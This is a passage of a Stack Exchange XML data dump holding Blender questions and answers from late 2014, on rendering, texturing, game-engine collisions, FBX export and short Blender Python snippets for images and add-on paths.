it.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Mesh-&amp;gt;Cleanup-&amp;gt;Degenerate Dissolve&lt;/code&gt; as in &lt;a href=&quot;https://blender.stackexchange.com/a/20813/1713&quot;&gt;@ideasman42's answer&lt;/a&gt;. In my example I'm left with a quad. NOTE: I've still found a few broken faces with only one iteration, so run it a few times. Be careful not to set the threshold too high.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Triangulate, using &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt; or &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt; as @LeonCheung says. The latter worked for me. Changing the &lt;code&gt;Quad Method&lt;/code&gt; in the &lt;kbd&gt;t&lt;/kbd&gt; panel (or with &lt;kbd&gt;F6&lt;/kbd&gt;) also worked.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mEJQP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doing this in blender is quite an important step for me because leaving as quads gives a good chance that other applications down the line do the triangulation and get it wrong.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The process in animated gif form:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/leUet.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1713" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.577" LastActivityDate="2014-12-12T09:06:47.993" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20838" PostTypeId="1" CreationDate="2014-12-12T05:13:22.303" Score="1" ViewCount="730" Body="&lt;p&gt;Im confused , this has never happened before!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ambient occlusion is giving a reverse effect , instead of white in exposed areas it turns black?!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sqV5b.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="599" LastEditDate="2014-12-12T06:55:44.737" LastActivityDate="2015-01-11T17:22:25.830" Title="Ambient occlusion results in reverse / Inverted colours?" Tags="&lt;cycles-render-engine&gt;&lt;texture-baking&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20840" PostTypeId="2" ParentId="20825" CreationDate="2014-12-12T06:44:42.413" Score="6" Body="&lt;p&gt;The difference between BI and Cycles is the difference between a biased and unbiased renderer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BIASED RENDERING&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A biased renderer uses shorcuts to achieve the final image  (fewer samples on every pixel, averaged out by the engine, and certain effects are pre-calculated in dedicated passes). It does not simulate how light behaves (at least not fully). Blender Internal does not have indirect capability, so that helps in speed too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantages of a biased renderer is speed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UNBIASED RENDERING&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unbiased rendering similates how light behaves. While Cycles can be tweaked to defy physics (certain brightness/contrast node combinations that exceed the brightness of what its reflection should be), it simulates the photons (though in reverse direction, tracing the rays from the camera to the source). Too few photons (samples) will produce a grainy image, as under-exposing a camera sensor or film would. There is a lot more math involved, and as a result, is slower than biased ray tracing and even slower than rasterization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The advantage of an unbiased renderer is physical accuracy.&lt;/p&gt;&#xA;" OwnerUserId="3254" LastEditorUserId="3254" LastEditDate="2014-12-12T06:58:27.367" LastActivityDate="2014-12-12T06:58:27.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20841" PostTypeId="2" ParentId="562" CreationDate="2014-12-12T06:49:33.677" Score="0" Body="&lt;p&gt;In cycles, use a mix shader between emission and diffuse. Set the factor to be Input &gt; Light Paths &gt; Is Camera Ray. Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="9466" LastActivityDate="2014-12-12T06:49:33.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20845" PostTypeId="1" AcceptedAnswerId="20848" CreationDate="2014-12-12T10:58:22.260" Score="4" ViewCount="1857" Body="&lt;p&gt;I have this bogie:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ld9vF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's textured with UV Map in a dark grey as you can see in texture view. However when rendering, it's nicely rendered, but no texture is to be seen:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LtTpp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked this question/answer already: &lt;a href=&quot;https://blender.stackexchange.com/questions/6534/render-not-showing-uv-texture&quot;&gt;Render not showing UV texture&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;I did all the steps mentioned in various tutorials and in the Blender wiki:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I added a material, then a texture. I created seams, unwrapped my mesh, saved the UV layout, changed its colour to dark grey and assigned the image back to the texture. In texture view you can see the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The frame is just plain dark grey, the wheel set has a light grey tread. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In render view it's just the default untextured grey.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frame and wheels are different objects with different Materials, different Textures and different texture images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the &lt;a href=&quot;http://stuff.nylle.de/270-tmp_stackexchange.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;blend&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8306" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:43.087" LastActivityDate="2016-09-12T07:49:37.477" Title="Texture view works, but render is without texture" Tags="&lt;rendering&gt;&lt;uv&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20846" PostTypeId="1" CreationDate="2014-12-12T12:15:02.097" Score="0" ViewCount="82" Body="&lt;p&gt;I'm an intern in a lab and they want to use blenderfiles for generating stimuli for a visual perception experiment. The previous intern got started, and now I need to finish. Because of how this experiment will be set up, we need files all made in the same engine. I know that you can see the engine on top of the screen, but I think she changed it sometimes to a different engine, and now I don't know the real engine anymore.&lt;/p&gt;&#xA;" OwnerUserId="9472" LastEditorUserId="3078" LastEditDate="2015-01-11T20:57:48.763" LastActivityDate="2015-01-11T20:57:48.763" Title="How can I know what render engine a file is made for?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="20847" PostTypeId="1" CreationDate="2014-12-12T13:29:54.077" Score="0" ViewCount="250" Body="&lt;p&gt;How is it possible to read out the menus of a header and the operators in the menus with Python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Background:&#xA;I have an external hardware with some configurable keys, and I want to trigger the operators in Blender's menus with the keys. In the hardware's GUI is a dialog to assign functions to the keys. In this dialog is a list of available functions, and I try to fill this list with all of Blender's menu items. If possible the list should show up in the same hierarchical structure (menus and submenus) as in Blender and reflecting the actual state Blender is in.&lt;/p&gt;&#xA;" OwnerUserId="8421" LastActivityDate="2014-12-12T18:17:44.757" Title="Reading out all operators in a header's menu" Tags="&lt;python&gt;&lt;interface&gt;&lt;operator&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20848" PostTypeId="2" ParentId="20845" CreationDate="2014-12-12T13:44:39.407" Score="5" Body="&lt;p&gt;Go to the setting of render layers. You have selected material that overwrites all materials. Remove this material and it will work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hykhm.png&quot; alt=&quot;Setting of render layers&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6164" LastEditorUserId="6164" LastEditDate="2016-09-12T07:49:37.477" LastActivityDate="2016-09-12T07:49:37.477" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20850" PostTypeId="1" CreationDate="2014-12-12T14:14:39.110" Score="7" ViewCount="2408" Body="&lt;p&gt;In Blender, is there a command to query what's the current path to the Add-on folder - regardless of what system I'm using?&lt;/p&gt;&#xA;" OwnerUserId="8282" LastEditorUserId="2217" LastEditDate="2014-12-13T18:10:42.527" LastActivityDate="2014-12-15T04:39:07.210" Title="How to automatically get a Add-on folder's path regardless of OS?" Tags="&lt;python&gt;&lt;add-on&gt;&lt;path&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20851" PostTypeId="2" ParentId="20850" CreationDate="2014-12-12T14:14:39.110" Score="8" Body="&lt;p&gt;Ah, got it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Paste this to the Python Console to get your add-ons path:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.utils.user_resource('SCRIPTS', &quot;addons&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;https://www.blender.org/manual/installing_blender/directorylayout.html&quot; rel=&quot;noreferrer&quot;&gt;the wiki&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8282" LastEditorUserId="599" LastEditDate="2014-12-15T01:24:14.073" LastActivityDate="2014-12-15T01:24:14.073" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20852" PostTypeId="1" AcceptedAnswerId="20853" CreationDate="2014-12-12T15:25:11.170" Score="3" ViewCount="2055" Body="&lt;p&gt;I have tried blender versions from 2.69 to present and have yet to see the Cycles Hair Rendering or Settings Tabs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My steps&#xA;1.  New blender project with the cube present&#xA;2.  Go to particles and hit +&#xA;3.  Choose Type: Hair&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and no Cycle Hair tabs??&#xA;My crazy cube hair renders just fine, but the Cycle Hair tabs are never visible.  Am I missing a setting somewhere?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e1Utp.png&quot; alt=&quot;simpleBlenderNotTabs&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9474" LastActivityDate="2014-12-12T15:37:32.250" Title="Blender 2.72 No Cycles Hair Rendering/Settings Tabs" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;particles&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="20853" PostTypeId="2" ParentId="20852" CreationDate="2014-12-12T15:37:32.250" Score="3" Body="&lt;p&gt;If you look at the top of your screenshot, you will notice that the render engine is still set to the Blender default, which is Blender Internal. You need to select Cycles as the render engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZlSm4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now all the settings appear as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qJV1M.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2014-12-12T15:37:32.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20854" PostTypeId="2" ParentId="20838" CreationDate="2014-12-12T16:30:40.863" Score="1" Body="&lt;p&gt;this is because of the inverted normals.&#xA;you can recalculate the normals by going to edit mode and and then press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt; or by pressing recalculate normals from the tool shading panel&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Q4soc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5794" LastActivityDate="2014-12-12T16:30:40.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20855" PostTypeId="2" ParentId="20847" CreationDate="2014-12-12T18:17:44.757" Score="1" Body="&lt;p&gt;There's no straight-forward way to retrieve the contents of menus or other layout types.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If possible, create shortcuts in the &lt;em&gt;User Preferences&lt;/em&gt;, but that might not be possible with external hardware keys. Or if that's sufficient for you, &lt;em&gt;Right-click &gt; Edit Source&lt;/em&gt; to see the layout code (mostly python-scripted).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It might be feasible to extract layout information somehow by hacking deep into the Blender internals with Python, see this to get an idea:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php?title=Dev:2.5/Py/Scripts/Cookbook/Code_snippets/Interface&amp;amp;oldid=226944#Overriding_Interface_Elements&quot; rel=&quot;nofollow&quot;&gt;http://wiki.blender.org/index.php?title=Dev:2.5/Py/Scripts/Cookbook/Code_snippets/Interface&amp;amp;oldid=226944#Overriding_Interface_Elements&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-12-12T18:17:44.757" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20856" PostTypeId="1" CreationDate="2014-12-12T18:49:31.810" Score="1" ViewCount="660" Body="&lt;p&gt;I've created a material that uses an image as a texture, applied it to a plane and then UV-unwrapped the plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The texture shows up in the final render, even in the 'rendered' shading mode of the viewport, but not in 'texture' or 'material' modes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything seems right from what i've checked in multiple questions and tuts... but it still the plane shows like a giant black square.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate any hints on the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/IB3mG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is the .blend if you wanna try &lt;a href=&quot;http://www.pasteall.org/blend/33311&quot; rel=&quot;nofollow noreferrer&quot;&gt;.blend file&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1867" LastActivityDate="2014-12-12T18:49:31.810" Title="Show image textures in 'material' or 'texture' shading modes in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;texturing&gt;&lt;3d-view&gt;" AnswerCount="0" CommentCount="9" ClosedDate="2014-12-13T23:21:08.920" ContentLicense="CC BY-SA 3.0" />
  <row Id="20857" PostTypeId="2" ParentId="20846" CreationDate="2014-12-12T19:24:30.143" Score="1" Body="&lt;p&gt;First, unless the previous person used an external engine, when the file is loaded, whichever file is being used for the blendfiles will be displayed. But more fundamentally, it would seem to me that all of the files just need to have the same engine, and you could reset any that don't conform to the desired norm.&lt;/p&gt;&#xA;" OwnerUserId="3401" LastActivityDate="2014-12-12T19:24:30.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20858" PostTypeId="1" CreationDate="2014-12-12T20:08:54.500" Score="5" ViewCount="231" Body="&lt;p&gt;I have a sword attached to a model who swings it every time the mouse is clicked. I would like to know if there is a way the sword could slice though things when it hits them.&#xA;Is there a way i could limit this to certain objects? That way he wouldn't cut though solid steel.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/D4BVt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6385" LastActivityDate="2015-08-18T03:41:12.340" Title="How do I cut something in the game engine?" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20859" PostTypeId="1" AcceptedAnswerId="20860" CreationDate="2014-12-12T20:29:55.390" Score="4" ViewCount="2012" Body="&lt;p&gt;Similar to &lt;a href=&quot;https://blender.stackexchange.com/q/18478/1853&quot;&gt;this&lt;/a&gt; question: I exported a motion tracked camera and some geometry from blender to be opened in Fusion 7. I used the FBX exporter using the default settings (-Z Forward, Y up).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scene in Blender&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ATUHe.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;When I opened in Fusion, the geometry came in fine but the camera was facing backwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scene in Fusion&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UMfAM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried playing with the settings for Forward and Up on the blender exporter, that changes the orientation of the geometry, but not that of the camera's orientation in regards to the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get my camera facing the right way?&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2014-12-15T14:45:50.877" Title="Camera facing backwards when exported as FBX and imported to Fusion 7" Tags="&lt;export&gt;&lt;external-applications&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="20860" PostTypeId="2" ParentId="20859" CreationDate="2014-12-12T20:29:55.390" Score="4" Body="&lt;p&gt;To get the right settings for the camera into Fusion7 I found I had to use version 6.1 ASCII of the FBX exporter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D2OTn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my tracked camera and geometry match the blender file :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vFckN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-12-13T13:50:11.107" LastActivityDate="2014-12-13T13:50:11.107" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20861" PostTypeId="2" ParentId="20858" CreationDate="2014-12-12T21:12:14.377" Score="2" Body="&lt;p&gt;You could have the game engine replace the &quot;solid&quot; model with a model representing the &quot;broken&quot; model. Not the best method for realism, but it would work every time :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KI8is.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="72" LastActivityDate="2014-12-12T21:12:14.377" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20862" PostTypeId="2" ParentId="15010" CreationDate="2014-12-12T21:53:29.063" Score="4" Body="&lt;p&gt;Here's my BI setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2e0Iw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;textures:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CrnVZ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first texture is a nice dense whole brain object, almost making the voxel data appear like a surface. The second texture makes the voxel values affect reflection color, which is important for &lt;em&gt;inside&lt;/em&gt; the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used a simple boolean modified to cut away the corner chunk:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VGN34.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2014-12-12T21:53:29.063" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20863" PostTypeId="1" CreationDate="2014-12-12T22:07:40.263" Score="3" ViewCount="6103" Body="&lt;p&gt;I would like to merge a few images into a single strip with the images next to each other.&#xA;Using compositor didn't work out as I expected. Thinking a bit more about it, I would prefer not to use compositor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;And use python for this now I am wondering if the python part of blender could join images like that. Blender is not PIL, so I'm not sure if this is possible. The strip can be either horizontal or vertical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;* UPDATE *&lt;/strong&gt;&#xA;  My alternative option, is to break open the pgn or jpg codec, read images as RGB data, and output a final RGB string basedupon multiple images. while possible i wonder if there are easier methods using Blender python API, can blender python do memory based like image manipulation, like addressing pixels directly to set their values ?&lt;/p&gt;&#xA;" OwnerUserId="6105" LastEditorUserId="6105" LastEditDate="2014-12-14T20:05:19.237" LastActivityDate="2014-12-15T17:54:12.877" Title="How to merge images into a single strip" Tags="&lt;python&gt;&lt;compositor&gt;&lt;image&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20864" PostTypeId="2" ParentId="20863" CreationDate="2014-12-12T22:48:16.510" Score="3" Body="&lt;p&gt;You can create an empty texture of size of the resulting image strip and alpha over all of your images over it in compositor and translate them with translate node into positions and render it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With python:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;load in you image textures:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;def load_image(file_path):&#xA;    try:&#xA;        return bpy.data.images.load(filepath)&#xA;    except:&#xA;        raise NameError(&quot;Cannot load image %s&quot; % filepath)&#xA;&#xA;image_names = ['first.png', 'second.jpg', 'third.bmp']&#xA;images = []&#xA;for name in image_names:&#xA;    real_path = bpy.abspath('//' + name)&#xA;    images.append(load_image(real_path))&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Get image dimension:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;images[0].size[0]    # resolution x&#xA;images[0].size[1]    # resolution y&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create empty image of desired resolution for example 1024x256:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bg = bpy.ops.image.new(name=&quot;bg&quot;, width=1024, height=256, alpha=False)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How to create nodes in compositor and link them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/19500/controling-compositor-by-python/19501#19501&quot;&gt;Controling compositor by python&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Render:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;render = bpy.context.scene.render&#xA;# set this&#xA;render.resolution_x = 1024&#xA;render.resolution_y = 256&#xA;# render image&#xA;render.render()&#xA;# use File_Output node or specify render.filepath to also save the result&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Getting low level with manipulating image pixels:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# you get float values for each pixel like this:&#xA;# in png they are stored nicely in rgba order&#xA;image = bpy.data.images['SOME_NAME.PNG']&#xA;for i in range(0, len(image.pixels), 4):&#xA;    rgba = image.pixels[i:i+4]&#xA;    # this is also writable ofc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are couple things to keep in mind though:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Blender uses opengl internally so the origin is in the lower left corner of the image (with the y-axis pointing upwards).&lt;/li&gt;&#xA;&lt;li&gt;Some image programs might not save the transparency pixels&lt;/li&gt;&#xA;&lt;li&gt;The image might have alpha premultiplied, but this shouldn't be a concern. In that case the values are in form of [r * a, g * a, b * a, a]&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2014-12-15T16:17:44.663" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="20865" PostTypeId="1" CreationDate="2014-12-13T02:30:45.693" Score="1" ViewCount="720" Body="&lt;p&gt;My displacement map seems of overlap and project upside down at sharp edges, I am modelling a creature and the teeth are heavily distorted.&lt;/p&gt;&#xA;&lt;p&gt;Any idea how to solve this?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/urj1M.png&quot; alt=&quot;enter image description here&quot; /&gt;&#xA;Here is the error of the displacement map of the low poly mesh&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jU107.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Low poly mesh&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PS7uL.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;high poly&lt;/p&gt;&#xA;&lt;p&gt;It happens at the finger tips as well, turning down strength doesn't solve it, and all normals are in the right position.&lt;/p&gt;&#xA;" OwnerUserId="9480" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-12-13T03:44:16.327" Title="displacement map overlap at sharp edges" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;texture-baking&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20867" PostTypeId="1" CreationDate="2014-12-13T11:32:48.617" Score="3" ViewCount="1565" Body="&lt;p&gt;Hey People my Question is: How do I recreate the look of those Gems that i have in this Image. I dont know if someone would call that Worn Edges but see for yourself.&#xA;I dont want tnt just the edges to Look worn or however that Effect is Called i want them having that Stylized look but still be Reflective and Realistic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RU5pW.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5980" LastActivityDate="2014-12-13T12:52:56.893" Title="How to make Gems/Emeralds look like this in Cycles?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="20868" PostTypeId="2" ParentId="20867" CreationDate="2014-12-13T12:52:56.893" Score="5" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Texture the gems with handpainted textures with worn edges - to keep it stylized. Also make some roughness texture for the edges so you get more variation in the shader. You can also create multiple materials (for edges, flat pieces,..) and mix them using mask. Go with a glass shader for the surface, you can also mix multiple glass shaders with different IORs to get some fake dispersion effects.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make the gem fairly transparent and shade the inside of it with volumetric shaders. If the gems will be animated this volumetric part could have some procedural changing clouds inside. Something like this: &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?322427-Cycles-Volumetric-Rendering&amp;amp;p=2545976&amp;amp;viewfull=1#post2545976&quot;&gt;Volumetric tests&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a light source of some kind inside the gem. There could be some cloud volumetric emission shader inside. Or add some nice backligh/light-from-bottom etc.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The glow, color correction or some more stylization add in compositor with nodes.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7777" LastActivityDate="2014-12-13T12:52:56.893" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20869" PostTypeId="1" AcceptedAnswerId="20872" CreationDate="2014-12-13T16:09:20.770" Score="2" ViewCount="2140" Body="&lt;p&gt;In the game engine I'm trying to make the different types of enemies pass through each other, and only interact with either the player or the player's weapon. I've made them rigid body objects, and tried adding them to different collision groups but that doesn't seem to do anything.&lt;/p&gt;&#xA;" OwnerUserId="9486" LastEditorUserId="2217" LastEditDate="2014-12-13T20:23:55.463" LastActivityDate="2014-12-13T20:23:55.463" Title="How do you make objects not collide and pass through each other?" Tags="&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="20870" PostTypeId="2" ParentId="20869" CreationDate="2014-12-13T17:03:28.100" Score="1" Body="&lt;p&gt;You can do this with the collision masks. Add the enemies to one collision group and the player and its weapon to another group. Then, in the collision masks for the enemies, deselect the groups with which you don't want them to collide.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sK2Gw.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to make animated gifs, but the screencast wouldn't record the &quot;game&quot; when I played it out. However, as you can see in the image above, the sphere doesn't have the group it belongs to in its mask. The plane is setup the exact same way. And when I play it out, the sphere falls right through the plane. When I change the masks to include the group the sphere and the plane belong to, the sphere lands on the plane.&lt;/p&gt;&#xA;" 